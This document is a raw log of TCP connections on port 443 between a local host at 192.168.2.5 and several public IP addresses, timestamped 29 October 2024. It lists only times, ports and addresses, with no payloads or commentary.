Oct 29, 2024 20:35:04.168158054 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:04.168334007 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:04.168349981 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:04.210717916 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.218327045 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.263334990 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.459614992 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.459692955 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.459759951 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.459872007 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.459892035 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.459922075 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.459928989 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.496953011 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.496999979 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.497078896 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.497376919 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.497399092 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.646394968 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:04.646519899 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:04.648488045 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:04.648503065 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:04.648772955 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:04.695417881 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:04.757872105 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.758596897 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.758619070 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.759085894 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.759093046 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.759603024 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.759958982 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.759974003 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.760298967 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.760304928 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.779891968 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.780328035 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.780355930 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.780787945 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.780793905 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.815305948 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.815712929 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.815727949 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.816231012 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.816236019 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.821902990 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.822271109 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.822302103 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.822741032 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.822752953 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.890795946 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891067028 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891190052 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.891220093 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.891237020 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891248941 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.891254902 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891302109 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891925097 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.891993046 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.892044067 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.892044067 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.892069101 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.892081022 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.894460917 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894512892 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.894536972 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894577026 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894582987 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.894653082 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894785881 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894804001 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.894840956 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.894860983 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.913595915 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.914251089 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.914316893 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.914345980 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.914366961 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.914381027 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.914387941 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.917299986 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.917350054 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.917437077 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.917587042 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.917599916 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.947572947 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.947659969 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.947793961 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.947859049 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.947877884 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.947889090 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.947895050 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.950932980 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.950974941 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.951051950 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.951237917 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.951256037 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.954633951 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.954700947 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.954765081 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.954921007 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.954940081 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.954950094 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.954956055 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.957068920 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.957082987 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.957284927 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.957406998 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.957421064 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.040879011 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.041156054 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.041182995 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.042223930 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.042287111 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.047056913 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.047127008 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.047250986 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.047259092 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.101067066 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.164901972 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:05.164941072 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:05.165076017 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:05.165482044 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:05.165494919 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:05.302520037 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.302568913 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.302608013 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.302612066 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.302632093 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.302664995 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.302701950 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.303072929 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.303121090 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.303129911 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.312262058 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.312417030 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.312427998 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.366746902 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.366803885 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.373136044 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.373246908 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:05.377058983 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:05.377079010 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.377480984 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.378875017 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:05.413604021 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.419342995 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.419955015 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.420039892 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.422156096 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.422185898 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.430121899 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.434146881 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.434154987 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.434312105 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.434361935 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.434367895 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.443744898 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.444884062 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.444892883 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.452986002 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.454154968 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.454163074 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.462378979 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.462436914 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.462444067 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.471621990 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.474158049 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.474169970 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.481455088 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.482148886 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.482156992 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.489609003 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.490149975 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.490159035 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.537632942 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.537669897 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.537708998 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.537739992 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.537758112 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.537791014 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.538052082 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.538084030 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.538130045 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.538136959 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.538175106 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.547873974 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.547929049 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.548003912 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.548013926 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.558654070 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.562149048 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.562158108 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.562211037 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.562263966 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.562269926 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.570622921 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.572180033 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.572200060 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.575957060 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.576006889 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.576014042 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.581192970 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.584462881 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.584481001 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.589982986 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.590049982 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.590055943 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.596009970 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.597002983 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.597012997 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.601128101 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.604474068 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.604482889 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.607615948 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.607722044 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.607728958 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.614850044 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.617456913 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.617465973 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.619987011 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.620099068 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.620106936 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.621141911 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.623034000 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.623100996 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:05.626077890 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.626270056 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.626277924 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.634058952 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.635447979 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.635572910 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.635597944 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.638861895 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.639023066 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.639039993 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.640111923 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.645587921 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.645673037 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.645689011 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.655034065 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.657738924 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.657748938 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.658258915 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.658447981 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.658463001 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.659816980 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.664618015 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.666146994 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.666153908 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.670541048 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.670623064 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.670629025 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.676522017 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.678153038 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.678159952 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.679311037 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.679964066 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.682236910 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.684092045 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.684164047 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.684170961 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.687809944 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.688493967 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.688500881 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.693587065 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.695580006 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.695601940 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.695611954 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.699440956 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.700916052 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.700922966 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.702982903 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.703048944 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.703054905 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.711222887 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.726819992 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.735384941 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.746263981 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.746287107 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.746434927 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.746442080 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.746761084 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.746767998 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.746989965 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.746995926 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.747118950 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.747147083 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.747415066 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.747438908 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.747556925 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.747570038 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.748070002 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.748070955 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.748076916 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.748080015 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.748442888 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.748446941 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.748897076 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.751890898 CET	49761	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:05.751914024 CET	443	49761	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:05.755949020 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.756028891 CET	443	49758	142.250.181.238	192.168.2.5
Oct 29, 2024 20:35:05.756148100 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:05.774328947 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:05.819333076 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:05.871833086 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.871949911 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.872051954 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.872747898 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.872747898 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.872777939 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.872786045 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.873737097 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.873797894 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.873876095 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.874192953 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.874192953 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.874208927 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.874217987 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.875082970 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.875296116 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.875375032 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.875719070 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.875739098 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.875751019 CET	49763	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.875756979 CET	443	49763	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.875792980 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.876238108 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.876296043 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.876791954 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.876874924 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.876955032 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.878433943 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.878472090 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.878690958 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.879777908 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.879793882 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.879945993 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.880337000 CET	49774	443	192.168.2.5	13.107.246.45
